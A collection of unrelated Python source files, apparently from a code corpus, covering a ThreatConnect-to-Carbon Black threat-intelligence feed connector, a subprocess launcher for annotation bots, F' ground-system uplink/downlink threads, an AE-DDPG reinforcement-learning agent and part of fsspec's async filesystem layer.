cb_server_ssl_verify=False,
ioc_min=None,
niceness=None,
debug=False,
log_file=None,
max_iocs=5000):
logger.info("ThreatConnect Base URL: {0}".format(base_url))
self.tcapi = ThreatConnect(api_aid=access_id, api_sec=secret_key, api_url=base_url, api_org=default_org)
self.sources = sources
self.ioc_min = ioc_min
self.ioc_types = ioc_types
logger.info("Configured IOC Types are : {0}".format(self.ioc_types))
logger.info("Configured IOC Min is : {0}".format(self.ioc_min))
self.custom_ioc_key = custom_ioc_key
self.max_iocs = max_iocs
if self.sources[0] == "*":
owners = self.tcapi.owners()
try:
# retrieve the Owners
owners.retrieve()
except RuntimeError as e:
logger.error(traceback.format_exc())
sys.exit(1)
# iterate through the Owners
self.sources = [owner.name for owner in owners]
logger.info("Sources = {0}".format(self.sources))
self.niceness = niceness
if self.niceness is not None:
os.nice(self.niceness)
self.debug = debug
if self.debug:
logger.setLevel(logging.DEBUG)
self.log_file = log_file
self.out_file = out_file
self.feed = None
self.cb = CbResponseAPI(url=cb_server_url, token=cb_server_token, ssl_verify=cb_server_ssl_verify)
self.feed_url = feed_url
def stop(self):
self.stopEvent.set()
def getDebugMode(self):
return self._debug
def setDebugMode(self,debugOn):
self._debug = debugOn
if self._debug == True:
logger.setLevel(logging.DEBUG)
else:
logger.setLevel(logging.INFO)
debug = property(getDebugMode,setDebugMode)
def _PollThreatConnect(self):
self.generate_feed_from_threatconnect()
self.createFeed()
last = None
while(True):
if self.stopEvent.isSet():
logger.info("Threatconnect Connector was signalled to stop...stopping")
return
else:
#poll threat connect if the time delta has passed since the last time we did
now = datetime.now()
delta = now - last if last is not None else self.interval
last = now
if delta >= self.interval:
self.generate_feed_from_threatconnect()
else:
time.sleep(self.interval.seconds + 1)
logger.debug("Done sleeping...")
def RunForever(self):
logger.info("ThreatConnect agent starting...")
threading.Thread(target=self._PollThreatConnect).start()
def createFeed(self):
if self.feed is not None:
self.feed.upload(self.cb, self.feed_url)
def generate_feed_from_threatconnect(self):
first = True
reports = []
feedinfo = {'name': 'threatconnect',
'display_name': "ThreatConnect",
'provider_url': "http://www.threatconnect.com",
'summary': "Sends threat intelligence from Threatconnect platform to Carbon Black Response",
'tech_data': "There are no requirements to share any data with Carbon Black to use this feed.",
'icon': 'threatconnect-logo.png',
'category': "Connectors",
}
feedinfo = CbFeedInfo(**feedinfo)
self.feed = CbFeed(feedinfo, reports)
created_feed = self.feed.dump(validate=False, indent=0)
with open(self.out_file, 'w') as fp:
fp.write(created_feed)
fp.seek(0)
offset = len(created_feed)-1
# create an Indicators object
for source in self.sources:
for t in self.ioc_types:
indicators = self.tcapi.indicators()
filter1 = indicators.add_filter()
# filter1.add_owner(source)
filter1.add_pf_type(t, FilterOperator.EQ)
if self.ioc_min is not None:
filter1.add_pf_rating(self.ioc_min, FilterOperator.GE)
try:
# retrieve Indicators
indicators.retrieve()
except RuntimeError as e:
print('Error: {0}'.format(e))
logger.info("Number of indicators:{0}".format(len(indicators)))
for index, indicator in enumerate(indicators):
if index > self.max_iocs:
logger.info("Max number of IOCs reached")
break
# print (indicator.type)
score = indicator.rating * 20 if indicator.rating is not None else 0
# int(row.get('rating', 0)) * 20
# Many entries are missing a description so I placed this here to default them
# to the IOC value in the absence of a description.
title = indicator.description if indicator.description is not None else "{0}-{1}".format(source,
indicator.id) # row.get('description', None)
# if not title:
# title = row.get('summary')
fields = {'iocs': {},
'id': str(indicator.id),
'link': indicator.weblink,
'title': title,
'score': int(score),
'timestamp': int(
datetime.strptime(indicator.date_added, "%Y-%m-%dT%H:%M:%SZ").timestamp()),
}
# The next few lines are designed to insert the Cb supported IOCs into the record.
logger.debug("Indacator is {0}".format(indicator))
if indicator.type == "File":
fields['iocs'] = {k: [indicator.indicator[k]] for k in indicator.indicator if
indicator.indicator[k] is not None}
elif indicator.type == "Address":
fields['iocs']['ipv4'] = [indicator.indicator]
elif indicator.type == "Host":
fields['iocs']['dns'] = [indicator.indicator]
else:
squery = urllib.parse.urlencode({"cb.urlver":"1","q":indicator.indicator[self.custom_ioc_key]})
fields['iocs']['query'] = [{'index_type': 'modules',
'search_query': squery }]
report = CbReport(**fields)
try:
report.dump(validate=True)
except:
logger.info("This query is not valid: {0}".format(indicator.indicator[self.custom_ioc_key]))
continue
# APPEND EACH NEW REPORT ONTO THE LIST IN THE JSON FEED
# THIS METHOD IS VERY LONG LIVED
# THIS METHOD CALL WILL LAST FOR
# HOURS -> DAYS IN LARGE ORGS
reports.append(report)
self.feed = CbFeed(feedinfo, reports)
fp.write(self.feed.dump(validate=False, indent=0))
def main(config_file, log_file, out_file):
cfg = verify_config(config_file)
cfg['out_file'] = out_file
cfg['log_file'] = log_file
cfg['feed_url'] = "file://"+out_file
threatconnectconnector = CbThreatConnectConnector(**cfg)
threatconnectconnector.generate_feed_from_threatconnect()
threatconnectconnector.createFeed()
def verify_config(config_file):
cfg = {}
try:
config = configparser.ConfigParser()
config.read(config_file)
if not config.has_section('general'):
raise ThreatConnectConfigurationError('Config does not have a \'general\' section.')
if 'niceness' in config['general']:
cfg['niceness'] = int(config['general']['niceness'])
os.nice(cfg['niceness'])
if 'debug' in config['general']:
cfg['debug'] = bool(config['general']['debug'])
if not 'base_url' in config['general']:
raise ThreatConnectConfigurationError("Config does not have an \'base_url\' key-value pair.")
else:
cfg['base_url'] = config['general']['base_url']
if not 'secret_key' in config['general']:
raise ThreatConnectConfigurationError("Config does not have an \'secret_key\' key-value pair.")
else:
cfg['secret_key'] = config['general']['secret_key']
if not 'access_id' in config['general']:
raise ThreatConnectConfigurationError("Config does not have an \'access_id\' key-value pair.")
else:
cfg['access_id'] = config['general']['access_id']
if not 'default_org' in config['general']:
raise ThreatConnectConfigurationError("Config does not have an \'default_org\' key-value pair.")
else:
cfg['default_org'] = config['general']['default_org']
if not 'sources' in config['general']:
raise ThreatConnectConfigurationError("Config does not have an \'sources\' key-value pair.")
else:
cfg['sources'] = [s.strip() for s in config['general']['sources'].split(",")]
if 'ioc_min' in config['general']:
cfg['ioc_min'] = int(config['general']['ioc_min'])
if 'ioc_types' in config['general']:
cfg['ioc_types'] = [s.strip() for s in config['general']['ioc_types'].split(",")]
else:
cfg['ioc_types'] = ['File', 'Address', 'Host']
if 'custom_ioc_key' in config['general']:
cfg['custom_ioc_key'] = config['general']['custom_ioc_key']
else:
cfg['custom_ioc_key'] = 'Query'
if 'cb_server_token' in config['general']:
cfg['cb_server_token'] = config['general']['cb_server_token']
else:
raise ThreatConnectConfigurationError("Config does not have a 'cb_server_token'")
if 'cb_server_url' in config['general']:
cfg['cb_server_url'] = config['general']['cb_server_url']
else:
raise ThreatConnectConfigurationError("config does not have a 'cb_server_url'")
if 'cb_server_ssl_verify' in config['general']:
cfg['cb_server_ssl_verify'] = True if config['general']['cb_server_ssl_verify'] in ['True', 'true', 'T',
't'] else False
else:
cfg['cb_server_ssl_verify'] = True
if 'max_iocs' in config['general']:
cfg['max_iocs'] = int(config['general']['max_iocs'])
except Exception as e:
logger.info(traceback.format_exc())
raise e
return cfg
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Agent for ThreatConnect Connector')
parser.add_argument('--config-file',
required=True,
default='threatconnect.conf',
help='Location of the config file')
parser.add_argument('--log-file',
required=False,
default='tc_agent.log',
help='Location to store log files')
parser.add_argument('--out-file',
required=True,
default='threatconnect.json',
help='Location of JSON feed data')
args = parser.parse_args()
if args.log_file:
formatter = logging.Formatter(logging_format)
handler = handlers.RotatingFileHandler(args.log_file, maxBytes=10 * 1000000, backupCount=10)
handler.setFormatter(formatter)
logger.addHandler(handler)
try:
main(args.config_file, args.log_file, args.out_file)
except:
logger.error(traceback.format_exc())
|
automated_users.py | import subprocess
import threading
import argparse
import os
def output_reader(proc):
for line in iter(proc.stdout.readline, b''):
print(line.decode('utf-8'), end='')
class Process(subprocess.Popen):
def __init__(
self,
filename,
password,
annotate_endpoint,
s3_endpoint,
**kwargs):
self.s3_endpoint = s3_endpoint
self.annotate_endpoint = annotate_endpoint
self.password = password
self.filename = filename
cli_args = [
'python', '-u', filename,
'--password', password,
'--annotate-api-endpoint', annotate_endpoint,
]
if s3_endpoint:
cli_args.extend(['--s3-endpoint', s3_endpoint])
for item in kwargs.items():
cli_args.extend(filter(lambda x: bool(x), item))
super().__init__(
cli_args,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=os.getcwd())
self.thread = threading.Thread(
target=output_reader, args=(self,), daemon=True)
self.thread.start()
class ProcessCollection(object):
def __init__(self, *processes):
super().__init__()
self.processes = {p.filename: p for p in processes}
def wait(self):
return {key: process.wait() for key, process in self.processes.items()}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--annotate-api-endpoint',
required=True,
help='scheme, hostname and optional port for annotation API')
parser.add_argument(
'--s3-endpoint',
default=None,
help='scheme, hostname and optional port of s3 endpoint')
args = parser.parse_args()
password = 'password'
def process(filename, **kwargs):
return Process(
filename,
password,
args.annotate_api_endpoint,
args.s3_endpoint,
**kwargs)
processes = ProcessCollection(
# datasets
# process('phatdrumloops.py'),
# process('internet_archive.py'),
process('one_laptop_per_child.py'),
# process(
# 'musicnet_dataset.py',
# **{'--metadata-path': '/hdd/musicnet'}),
# process(
# 'nsynth_dataset.py',
# **{'--metadata-path': '/hdd/nsynth-valid.jsonwav/nsynth-valid'}),
# bots
process('chroma_bot.py'),
process('stft_bot.py'),
process('mfcc_bot.py'),
process('onset_bot.py'),
process('spectrogram_bot.py'),
)
print(processes.wait())
|
updown.py | """ Uplink and Downlink handling for communications layer
Downlink needs to happen in several stages. First, raw data is read from the adapter. This data is collected in a pool
and the pool is passed to a deframer that extracts frames from this pool. Frames are queued and sent to the ground
side where they are and passed into the ground side handler and onto the other GDS processes. Downlink handles multiple
streams of data the FSW downlink, and loopback data from the uplink adapter.
Uplink is the reverse, it pulls data in from the ground handler, frames it, and sends it up to the waiting FSW. Uplink
is represented by a single thread, as it is not dealing with multiple streams of data that need to be multiplexed.
"""
import threading
from queue import Queue, Full, Empty
import logging
from fprime.common.models.serialize.numerical_types import U32Type
from fprime_gds.common.utils.data_desc_type import DataDescType
from fprime_gds.common.communication.adapters.base import BaseAdapter
from fprime_gds.common.communication.ground import GroundHandler
from fprime_gds.common.communication.framing import FramerDeframer
DW_LOGGER = logging.getLogger("downlink")
UP_LOGGER = logging.getLogger("uplink")
class Downlinker:
"""Encapsulates communication downlink functions
Handles downlink creating two threads, one to read and deframe, and the other to send data out to the ground side
of the system. It is composed of an adapter used to read from the interface, a deframer that is used to deframe
incoming data, and a ground handler that is used to interact with the ground side of the system.
Two threaded stages are used to multiplex between loopback data and FSW downlink data without the need to busy spin
waiting for data.
"""
def __init__(
self, adapter: BaseAdapter, ground: GroundHandler, deframer: FramerDeframer
):
"""Initialize the downlinker
Constructs a new downlinker object used to run the downlink and deframing operation.
Args:
adapter: adapter used to read raw data from the hardware connection
ground: handles the ground side connection
deframer: deframer used to deframe data from the communication format
"""
self.running = True
self.th_ground = None
self.th_data = None
self.adapter = adapter
self.ground = ground
self.deframer = deframer
self.outgoing = Queue()
def start(self):
""" Starts the downlink pipeline """
self.th_ground = threading.Thread(target=self.sending)
self.th_ground.daemon = True
self.th_ground.start()
self.th_data = threading.Thread(target=self.deframing)
self.th_data.daemon = True
self.th_data.start()
def deframing(self):
"""Deframing stage of downlink
Reads in data from the raw adapter and runs the deframing. Collects data in a pool and continually runs
deframing against it where possible. Then appends new frames into the outgoing queue.
"""
pool = b""
while self.running:
# Blocks until data is available, but may still return b"" if timeout
pool += self.adapter.read()
frames, pool = self.deframer.deframe_all(pool, no_copy=True)
try:
for frame in frames:
self.outgoing.put_nowait(frame)
except Full:
DW_LOGGER.warning("GDS ground queue full, dropping frame")
def sending(self):
"""Outgoing stage of downlink
Adapts the downlink adapter to the rest of the GDS system by draining the outgoing queue and sending those
packets to the rest of the GDS. This uses the ground send_all method.
"""
while self.running:
frames = []
try:
# Blocking read of at least one frame, then drain the entire queue
frames.append(self.outgoing.get(timeout=0.500))
while not self.outgoing.empty():
frames.append(self.outgoing.get_nowait())
except Empty:
pass
self.ground.send_all(frames)
def stop(self):
""" Stop the thread depends will close the ground resource which may be blocking """
self.running = False
def join(self):
""" Join on the ending threads """
for thread in [self.th_data, self.th_ground]:
if thread is not None:
thread.join()
def add_loopback_frame(self, frame):
"""Adds a frame to loopback to ground
Some uplink processes are virtualized on the ground, and thus must loopback packets. This is used for data
handshaking that the FSW may not support.
Args:
frame: frame to loopback to ground
"""
try:
self.outgoing.put_nowait(frame)
except Full:
DW_LOGGER.warning("GDS ground queue full, dropping loopback frame")
class Uplinker:
"""Uplinker used to pull data out of the ground layer and send to FSW
Handles uplink by creating a single thread to read data from the ground layer, frame it, and pass it to the adapter
to the hardware link to flight software. It is composed of an adapter used to write to the interface, a framer
that is used to frame outgoing data, and a ground handler that is used to interact with the ground side of the
system.
Since there is one stream of data the uplink requires only one thread to run.
"""
RETRY_COUNT = 3
def __init__(
self,
adapter: BaseAdapter,
ground: GroundHandler,
framer: FramerDeframer,
loopback: Downlinker,
):
"""Initializes the uplink class
Initialize the uplink class using a hardware adapter, ground hanler, and framer. loopback is used to virtualize
the return packet handshake as FSW does not handle that.
Args:
adapter: hardware adapter used to write raw outgoing data bytes
ground: ground handler receiving data from the ground system
framer: framer used to frame wire bytes
loopback: used to return handshake packets
"""
self.th_uplink = None
self.running = True
self.ground = ground
self.adapter = adapter
self.loopback = loopback
self.framer = framer
def start(self):
""" Starts the uplink pipeline """
self.th_uplink = threading.Thread(target=self.uplink)
self.th_uplink.daemon = True
self.th_uplink.start()
def uplink(self):
"""Runs uplink of data from ground to FSW
Primary stage of the uplink process, reads data from the ground adapter, and passes the rest of the data to the
framer, and then onto the adapter to send to FSW. Uplink also generates handshake packets as the current FSW
does not generate handshake packets.
"""
try:
while self.running:
packets = self.ground.receive_all()
for packet in [
packet
for packet in packets
if packet is not None and len(packet) > 0
]:
framed = self.framer.frame(packet)
# Uplink handles synchronous retries
for retry in range(0, Uplinker.RETRY_COUNT):
if self.adapter.write(framed):
self.loopback.add_loopback_frame(
Uplinker.get_handshake(packet)
)
break
else:
UP_LOGGER.warning(
"Uplink failed to send %d bytes of data after %d retries",
len(framed), Uplinker.RETRY_COUNT
)
# An OSError might occur during shutdown and is harmless. If we are not shutting down, this error should be
# propagated up the stack.
except OSError:
if self.running:
raise
def stop(self):
""" Stop the thread depends will close the ground resource which may be blocking """
self.running = False
def join(self):
""" Join on the ending threads """
if self.th_uplink is not None:
self.th_uplink.join()
@staticmethod
def get_handshake(packet: bytes) -> bytes:
"""Gets a handshake raw frame from the last packet
Creates a handshake raw-frame by repeating the contents of the last packet with a handshake descriptor at the
front.
Args:
packet: packet to repeat back out as handshake
Returns:
handshake packet
"""
return U32Type(DataDescType["FW_PACKET_HAND"].value).serialize() + packet
|
AE_DDPG.py | import random
import imageio
import datetime
import numpy as np
from collections import deque
import threading
import time
import tensorflow as tf
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Input, Dense, Lambda, Concatenate
from tensorflow.keras.optimizers import Adam
'''
Original paper: https://arxiv.org/pdf/1903.00827.pdf
'''
tf.keras.backend.set_floatx('float64')
def actor(state_shape, action_dim, action_bound, action_shift, units=(400, 300), num_actions=1):
state = Input(shape=state_shape)
x = Dense(units[0], name="L0", activation='relu')(state)
for index in range(1, len(units)):
x = Dense(units[index], name="L{}".format(index), activation='relu')(x)
outputs = [] # for loop for discrete-continuous action space
for i in range(num_actions):
unscaled_output = Dense(action_dim, name="Out{}".format(i), activation='tanh')(x)
scalar = action_bound * np.ones(action_dim)
output = Lambda(lambda op: op * scalar)(unscaled_output)
if np.sum(action_shift) != 0:
output = Lambda(lambda op: op + action_shift)(output) # for action range not centered at zero
outputs.append(output)
model = Model(inputs=state, outputs=outputs)
return model
def critic(state_shape, action_dim, units=(48, 24), num_actions=1):
inputs = [Input(shape=state_shape)]
for i in range(num_actions): # for loop for discrete-continuous action space
inputs.append(Input(shape=(action_dim,)))
concat = Concatenate(axis=-1)(inputs)
x = Dense(units[0], name="L0", activation='relu')(concat)
for index in range(1, len(units)):
x = Dense(units[index], name="L{}".format(index), activation='relu')(x)
output = Dense(1, name="Out")(x)
model = Model(inputs=inputs, outputs=output)
return model
def update_target_weights(model, target_model, tau=0.005):
weights = model.get_weights()
target_weights = target_model.get_weights()
for i in range(len(target_weights)): # set tau% of target model to be new weights
target_weights[i] = weights[i] * tau + target_weights[i] * (1 - tau)
target_model.set_weights(target_weights)
def is_threads_alive(threads):
for t in threads:
if t.isAlive():
return 1
return 0
class AE_DDPG:
def __init__(
self,
env_name,
num_envs=5,
discrete=False,
lr_actor=1e-4,
lr_critic=1e-3,
actor_units=(12, 8),
critic_units=(12, 8),
sigma=0.3,
tau=0.125,
gamma=0.85,
rho=0.2,
batch_size=128,
memory_cap=1500,
hmemory_cap=1000,
cache_size=500
):
self.env = [gym.make(env_name) for _ in range(num_envs)]
self.num_envs = num_envs # number of environments for async data collection
self.state_shape = self.env[0].observation_space.shape # shape of observations
self.action_dim = self.env[0].action_space.n if discrete else self.env[0].action_space.shape[0]
# number of actions
self.discrete = discrete
self.action_bound = (self.env[0].action_space.high - self.env[0].action_space.low) / 2 if not discrete else 1.
self.action_shift = (self.env[0].action_space.high + self.env[0].action_space.low) / 2 if not discrete else 0.
# Initialize memory buffers
self.memory = deque(maxlen=memory_cap)
self.hmemory = deque(maxlen=hmemory_cap)
self.cache_buffer = [deque(maxlen=cache_size) for _ in range(num_envs)]
# Define and initialize Actor network
self.actor = actor(self.state_shape, self.action_dim, self.action_bound, self.action_shift, actor_units)
self.actor_target = actor(self.state_shape, self.action_dim, self.action_bound, self.action_shift, actor_units)
self.actor_optimizer = Adam(learning_rate=lr_actor)
update_target_weights(self.actor, self.actor_target, tau=1.)
# Define and initialize Critic network
self.critic = critic(self.state_shape, self.action_dim, critic_units)
self.critic_target = critic(self.state_shape, self.action_dim, critic_units)
self.critic_optimizer = Adam(learning_rate=lr_critic)
self.critic.compile(loss="mean_squared_error", optimizer=self.critic_optimizer)
update_target_weights(self.critic, self.critic_target, tau=1.)
# Set hyperparameters
self.sigma = sigma # stddev for mean-zero gaussian noise
self.gamma = gamma # discount factor
self.tau = tau # target model update
self.rho = rho # chance of sampling from hmemory, paper recommends [0.05, 0.25]
self.batch_size = batch_size
# Training log
self.max_reward = 0
self.rewards = []
self.summaries = {}
def act(self, state, random_walk):
state = np.expand_dims(state, axis=0).astype(np.float32)
a = self.actor.predict(state)
# add random walk noise
a += random_walk * self.action_bound
a = tf.clip_by_value(a, -self.action_bound + self.action_shift, self.action_bound + self.action_shift)
q_val = self.critic.predict([state, a])
return a, q_val[0][0]
def save_model(self, a_fn, c_fn):
self.actor.save(a_fn)
self.critic.save(c_fn)
def load_actor(self, a_fn):
self.actor.load_weights(a_fn)
self.actor_target.load_weights(a_fn)
print(self.actor.summary())
def load_critic(self, c_fn):
self.critic.load_weights(c_fn)
self.critic_target.load_weights(c_fn)
print(self.critic.summary())
def store_memory(self, state, action, reward, next_state, done, hmemory=False):
state = np.expand_dims(state, axis=0)
next_state = np.expand_dims(next_state, axis=0)
if hmemory:
self.hmemory.append([state, action, reward, next_state, done])
else:
self.memory.append([state, action, reward, next_state, done])
def sample_batch(self):
samples = []
for i in range(self.batch_size):
if np.random.random() < self.rho and len(self.hmemory) > 0:
sample = random.sample(self.hmemory, 1) # sample from highly rewarded trajectories
else:
sample = random.sample(self.memory, 1)
samples.append(sample[0])
return samples
def replay(self):
samples = self.sample_batch()
s = np.array(samples).T
states, actions, rewards, next_states, dones = [np.vstack(s[i, :]).astype(np.float) for i in range(5)]
next_actions = self.actor_target.predict(next_states)
q_future = self.critic_target.predict([next_states, next_actions])
target_qs = rewards + q_future * self.gamma * (1. - dones)
# train critic
hist = self.critic.fit([states, actions], target_qs, epochs=1, batch_size=self.batch_size, verbose=0)
# train actor
with tf.GradientTape() as tape:
actions = self.actor(states)
actor_loss = -tf.reduce_mean(self.critic([states, actions]))
actor_grad = tape.gradient(actor_loss, self.actor.trainable_variables) # compute actor gradient
self.actor_optimizer.apply_gradients(zip(actor_grad, self.actor.trainable_variables))
self.summaries['critic_loss'] = np.mean(hist.history['loss'])
self.summaries['actor_loss'] = actor_loss
def async_collection(self, index, log_dir):
summary_writer = tf.summary.create_file_writer(log_dir + '/env{}'.format(index))
episode = total_steps = 0
while True:
done, cur_state, total_reward, rand_walk_noise, step = False, self.env[index].reset(), 0, 0, 0
while not done:
a, q_val = self.act(cur_state, rand_walk_noise) # model determine action given state
action = np.argmax(a) if self.discrete else a[0] # post process for discrete action space
next_state, reward, done, _ = self.env[index].step(action) # perform action on env
self.cache_buffer[index].append([cur_state, a, reward, next_state, done]) # add to buffer
self.store_memory(cur_state, a, reward, next_state, done) # add to memory
cur_state = next_state
total_reward += reward
rand_walk_noise += tf.random.normal(shape=a.shape, mean=0., stddev=self.sigma, dtype=tf.float32)
with summary_writer.as_default():
tf.summary.scalar('Stats/q_val', q_val, step=total_steps)
tf.summary.scalar('Stats/action', action, step=total_steps)
summary_writer.flush()
step += 1
total_steps += 1
with summary_writer.as_default():
tf.summary.scalar('Main/episode_reward', total_reward, step=episode)
tf.summary.scalar('Main/episode_steps', step, step=episode)
summary_writer.flush()
if total_reward >= self.max_reward:
self.max_reward = total_reward
while len(self.cache_buffer[index]) > 0:
transitions = self.cache_buffer[index].pop()
self.store_memory(*transitions, hmemory=True)
episode += 1
self.rewards.append(total_reward)
def train(self, max_epochs=8000, save_freq=20):
current_time = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
train_log_dir = 'logs/' + current_time
summary_writer = tf.summary.create_file_writer(train_log_dir)
collection_threads, epoch = [], 0
self.actor.make_predict_function() # from https://github.com/jaromiru/AI-blog/issues/2
print("-- starting threads --")
for i in range(self.num_envs):
t = threading.Thread(target=self.async_collection, args=(i, train_log_dir), daemon=True)
t.start()
collection_threads.append(t)
print("-- waiting for first batch of data --")
while is_threads_alive(collection_threads) and epoch < max_epochs:
start = time.time()
if len(self.memory) < self.batch_size:
continue
self.replay() # train models through memory replay
update_target_weights(self.actor, self.actor_target, tau=self.tau) # iterates target model
update_target_weights(self.critic, self.critic_target, tau=self.tau)
with summary_writer.as_default():
if len(self.memory) > self.batch_size:
tf.summary.scalar('Loss/actor_loss', self.summaries['actor_loss'], step=epoch)
tf.summary.scalar('Loss/critic_loss', self.summaries['critic_loss'], step=epoch)
summary_writer.flush()
epoch += 1
if epoch % save_freq == 0:
self.save_model("aeddpg_actor_epoch{}.h5".format(epoch),
"aeddpg_critic_epoch{}.h5".format(epoch))
dt = time.time() - start
print("train epoch {}: {} episodes, {} mean reward, {} max reward, {} seconds".format(
epoch, len(self.rewards), np.mean(self.rewards[-100:]), self.max_reward, dt))
print("-- saving final model --")
self.save_model("aeddpg_actor_final_epoch{}.h5".format(max_epochs),
"aeddpg_critic_final_epoch{}.h5".format(max_epochs))
def test(self, render=True, fps=30, filename='test_render.mp4'):
cur_state, done, rewards = self.env[0].reset(), False, 0
video = imageio.get_writer(filename, fps=fps)
while not done:
a, _ = self.act(cur_state, 0)
action = np.argmax(a) if self.discrete else a[0] # post process for discrete action space
next_state, reward, done, _ = self.env[0].step(action)
cur_state = next_state
rewards += reward
if render:
video.append_data(self.env[0].render(mode='rgb_array'))
video.close()
return rewards
if __name__ == "__main__":
name = "CartPole-v1"
gym_env = gym.make(name)
try:
# Ensure action bound is symmetric
assert (gym_env.action_space.high == -gym_env.action_space.low)
is_discrete = False
print('Continuous Action Space')
except AttributeError:
is_discrete = True
print('Discrete Action Space')
ddpg = AE_DDPG(name, discrete=is_discrete)
ddpg.load_critic("basic_models/aeddpg_critic_epoch2300.h5")
ddpg.load_actor("basic_models/aeddpg_actor_epoch2300.h5")
# ddpg.train(max_epochs=2500)
rewards = ddpg.test()
print("Total rewards: ", rewards)
|
asyn.py | import asyncio
import functools
import inspect
import re
import os
import sys
import threading
from .utils import other_paths
from .spec import AbstractFileSystem
# this global variable holds whether this thread is running async or not
thread_state = threading.local()
private = re.compile("_[^_]")
def _run_until_done(coro):
"""execute coroutine, when already in the event loop"""
loop = asyncio.get_running_loop()
task = asyncio.current_task()
asyncio.tasks._unregister_task(task)
current_task = asyncio.tasks._current_tasks.get(loop)
assert task == current_task
del asyncio.tasks._current_tasks[loop]
runner = loop.create_task(coro)
while not runner.done():
loop._run_once()
asyncio.tasks._current_tasks[loop] = task
return runner.result()
def sync(loop, func, *args, callback_timeout=None, **kwargs):
"""
Run coroutine in loop running in separate thread.
"""
e = threading.Event()
main_tid = threading.get_ident()
result = [None]
error = [False]
async def f():
try:
if main_tid == threading.get_ident():
raise RuntimeError("sync() called from thread of running loop")
await asyncio.sleep(0)
thread_state.asynchronous = True
future = func(*args, **kwargs)
if callback_timeout is not None:
future = asyncio.wait_for(future, callback_timeout)
result[0] = await future
except Exception:
error[0] = sys.exc_info()
finally:
thread_state.asynchronous = False
e.set()
asyncio.run_coroutine_threadsafe(f(), loop=loop)
if callback_timeout is not None:
if not e.wait(callback_timeout):
raise TimeoutError("timed out after %s s." % (callback_timeout,))
else:
while not e.is_set():
e.wait(10)
if error[0]:
typ, exc, tb = error[0]
raise exc.with_traceback(tb)
else:
return result[0]
def maybe_sync(func, self, *args, **kwargs):
"""Make function call into coroutine or maybe run
If we are running async, returns the coroutine object so that it can be awaited;
otherwise runs it on the loop (if is a coroutine already) or directly. Will guess
we are running async if either "self" has an attribute asynchronous which is True,
or thread_state does (this gets set in ``sync()`` itself, to avoid nesting loops).
"""
loop = self.loop
# second condition below triggers if this is running in the thread of the
# event loop *during* the call to sync(), i.e., while running
# asynchronously
if getattr(self, "asynchronous", False) or getattr(
thread_state, "asynchronous", False
):
if inspect.iscoroutinefunction(func):
# run coroutine while pausing this one (because we are within async)
return _run_until_done(func(*args, **kwargs))
else:
# make awaitable which then calls the blocking function
return _run_as_coroutine(func, *args, **kwargs)
else:
if inspect.iscoroutinefunction(func):
# run the awaitable on the loop
return sync(loop, func, *args, **kwargs)
else:
# just call the blocking function
return func(*args, **kwargs)
async def _run_as_coroutine(func, *args, **kwargs):
# This is not currently used
return func(*args, **kwargs)
def sync_wrapper(func, obj=None):
"""Given a function, make so can be called in async or bocking contexts
Leave obj=None if defining within a class. Pass the instance if attaching
as an attribute of the instance.
"""
@functools.wraps(func)
def wrapper(*args, **kwargs):
self = obj or args[0]
return maybe_sync(func, self, *args, **kwargs)
return wrapper
def async_wrapper(func):
"""Run a sync function on the event loop"""
@functools.wraps(func)
async def wrapper(*args, **kwargs):
return func(*args, **kwargs)
return wrapper
def get_loop():
"""Create a running loop in another thread"""
loop = asyncio.new_event_loop()
t = threading.Thread(target=loop.run_forever)
t.daemon = True
t.start()
return loop
# these methods should be implemented as async by any async-able backend
async_methods = [
"_ls",
"_cat_file",
"_get_file",
"_put_file",
"_rm_file",
"_cp_file",
"_pipe_file",
]
# these methods could be overridden, but have default sync versions which rely on _ls
# the sync methods below all call expand_path, which in turn may call walk or glob
# (if passed paths with glob characters, or for recursive=True, respectively)
default_async_methods = [
"_expand_path",
"_info",
"_isfile",
"_isdir",
"_exists",
"_walk",
"_glob",
"_find",
"_du",
]
class AsyncFileSystem(AbstractFileSystem):
"""Async file operations, default implementations
Passes bulk operations to asyncio.gather for concurrent operation.
Implementations that have concurrent batch operations and/or async methods
should inherit from this class instead of AbstractFileSystem. Docstrings are
copied from the un-underscored method in AbstractFileSystem, if not given.
"""
# note that methods do not have docstring here; they will be copied
# for _* methods and inferred for overridden methods.
async_impl = True
def __init__(self, *args, asynchronous=False, loop=None, **kwargs):
self.asynchronous = asynchronous
self.loop = loop or get_loop()
super().__init__(*args, **kwargs)
async def _rm(self, path, recursive=False, **kwargs):
await asyncio.gather(*[self._rm_file(p, **kwargs) for p in path])
def rm(self, path, recursive=False, **kwargs):
path = self.expand_path(path, recursive=recursive)
sync(self.loop, self._rm, path, **kwargs)
async def _copy(self, paths, path2, **kwargs):
await asyncio.gather(
*[self._cp_file(p1, p2, **kwargs) for p1, p2 in zip(paths, path2)]
)
def copy(self, path1, path2, recursive=False, **kwargs):
paths = self.expand_path(path1, recursive=recursive)
path2 = other_paths(paths, path2)
sync(self.loop, self._copy, paths, path2, **kwargs)
async def _pipe(self, path, value=None, **kwargs):
if isinstance(path, str):
path = {path: value}
await asyncio.gather(
*[self._pipe_file(k, v, **kwargs) for k, v in path.items()]
)
async def _cat(self, paths, **kwargs):
return await asyncio.gather(
*[
asyncio.ensure_future(self._cat_file(path, **kwargs), loop=self.loop)
for path in paths
]
)
def cat(self, path, recursive=False, **kwargs):
paths = self.expand_path(path, recursive=recursive)
out = sync(self.loop, self._cat, paths, **kwargs)
if (
len(paths) > 1
or isinstance(path, list)
or paths[0] != self._strip_protocol(path)
):
return {k: v for k, v in zip(paths, out)}
else:
return out[0]
async def _put(self, lpaths, rpaths, **kwargs):
return await asyncio.gather(
*[
self._put_file(lpath, rpath, **kwargs)
for lpath, rpath in zip(lpaths, rpaths)
]
)
def put(self, lpath, rpath, recursive=False, **kwargs):
from .implementations.local import make_path_posix, LocalFileSystem
rpath = self._strip_protocol(rpath)
if isinstance(lpath, str):
lpath = make_path_posix(lpath)
fs = LocalFileSystem()
lpaths = fs.expand_path(lpath, recursive=recursive)
rpaths = other_paths(lpaths, rpath)
sync(self.loop, self._put, lpaths, rpaths, **kwargs)
async def _get(self, rpaths, lpaths, **kwargs):
return await asyncio.gather(
*[
self._get_file(rpath, lpath, **kwargs)
for lpath, rpath in zip(lpaths, rpaths)
]
)
def get(self, rpath, lpath, recursive=False, **kwargs):
from fsspec.implementations.local import make_path_posix
